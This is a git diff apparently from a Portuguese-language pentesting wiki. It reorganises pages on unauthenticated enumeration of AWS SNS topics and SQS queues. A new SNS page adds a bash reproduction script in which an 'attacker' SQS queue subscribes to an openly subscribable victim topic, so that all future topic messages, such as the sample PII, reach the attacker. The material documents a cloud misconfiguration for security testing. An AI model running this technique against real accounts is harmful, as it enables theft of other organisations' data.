-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Para mais informações sobre SNS, consulte:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Aberto para Todos
-
-Quando você configura um tópico SNS a partir do console da web, é possível indicar que **Todos podem publicar e se inscrever** no tópico:
-
-<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
-
-Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou forçar nomes potenciais para tópicos), você pode **verificar** se pode **publicar** ou **se inscrever** neles.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
new file mode 100644
index 000000000..5b8dbd711
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
@@ -0,0 +1,55 @@
+# AWS - SNS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Para mais informações sobre SNS consulte:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Aberto a todos
+
+Quando você configura um tópico SNS pelo console web, é possível indicar que **Todos podem publicar e se inscrever** no tópico:
+
+<figure><img src="../../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
+
+Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou brute forcing nomes potenciais de tópicos) você pode **verificar** se consegue **publicar** ou **se inscrever** neles.
+
+Isso seria equivalente a uma política de recurso do tópico SNS permitindo `sns:Subscribe` para `*` (ou para contas externas); qualquer principal pode criar uma assinatura que entrega todas as mensagens futuras do tópico para uma fila SQS que possua. Quando o proprietário da fila inicia a assinatura, nenhuma confirmação humana é requerida para endpoints SQS.
+
+<details>
+<summary>Reprodução (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Victim account (topic owner)
+VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
+
+# Open the topic to anyone subscribing
+cat > /tmp/topic-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
+JSON
+aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json
+
+# Attacker account (queue owner)
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Allow the victim topic to send to the attacker queue
+cat > /tmp/sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
+JSON
+aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"
+
+# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)
+
+# Validation: publish and receive
+aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
deleted file mode 100644
index de9bbb511..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SQS Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Para mais informações sobre SQS, consulte:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Modelo de URL Pública
-```
-https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
-```
-### Verificar Permissões
-
-É possível configurar incorretamente uma política de fila SQS e conceder permissões a todos na AWS para enviar e receber mensagens, então se você obtiver o ARN das filas, tente ver se consegue acessá-las.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..ec1026b98
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
@@ -0,0 +1,21 @@
+# AWS - SQS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Para mais informações sobre SQS, consulte:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Modelo de URL público
+```
+https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
+```
+### Verificar permissões
+
+É possível configurar incorretamente uma SQS queue policy e conceder permissões a todos na AWS para enviar e receber mensagens, então se você obtiver o ARN das filas tente verificar se consegue acessá-las.
+
+{{#include ../../../../banners/hacktricks-training.md}}